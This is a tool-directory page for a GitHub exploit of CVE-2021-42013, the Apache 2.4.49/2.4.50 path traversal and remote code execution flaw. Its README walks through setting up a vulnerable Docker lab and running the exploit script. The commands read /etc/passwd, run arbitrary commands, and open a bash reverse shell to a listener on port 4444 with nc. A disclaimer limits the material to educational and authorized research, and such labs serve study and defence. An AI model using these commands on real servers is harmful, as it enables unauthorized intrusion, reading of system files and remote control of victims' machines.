Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/asepsaepdin/cve-2021-42013
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access ToolLabs & Practice
GitHubasepsaepdin/cve-2021-42013

CVE-2021-42013

Exploit for Apache 2.4.49/2.4.50 path traversal and RCE (CVE-2021-42013). Includes Docker setup and script to test path traversal, execute commands, and obtain a reverse shell.

View Repository
1401 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    291

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-42013 - Apache 2.4.50 Path Traversal & Remote Code Execution (RCE)


⚠️ For educational and authorized security research purposes only

Original Exploit Authors

Very grateful to the original PoC author Walnut Security Services Pvt. Ltd

Description

An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.


Step Guides

  1. First, clone the repository

    git clone https://github.com/asepsaepdin/CVE-2021-42013.git
    
  2. Change directory

    cd CVE-2021-42013
    
  3. Build vuln container

    docker build -t CVE-2021-42013 .
    
  4. Run ephemeral container

    docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
    
  5. Check container ip address

    docker inspect CVE-2021-42013 | grep "IPAddress"
    
  6. Give executable permission to script

    chmod +x cve-2021-42013.sh
    
  7. To test for and confirm path traversal, a valid directory needs to be discovered which in this case is configured as /icons. So, executing the following command would trigger path traversal vulnerability and print the contents of /etc/passwd:

    ./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
    
  8. To test for and confirm remote code execution, CGI should be configured and enabled which in this case is true. So, executing the following command would trigger remote code execution and print the output of the id command:

    ./cve-2021-42013.sh 172.17.0.3 /bin/bash id
    
  9. From an attacker perspective, remote code execution is critical to get access to an interactive shell. So, executing the following command would trigger a conventional reverse shell over tcp based on bash to attacker’s system on port 4444/tcp:

    ./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
    
    nc -nlvp 4444
    

Credits

  • https://github.com/walnutsecurity/cve-2021-42013
  • https://nvd.nist.gov/vuln/detail/CVE-2021-42013
  • https://www.exploit-db.com/docs/50552
  • https://www.exploit-db.com/exploits/50406
Download Tool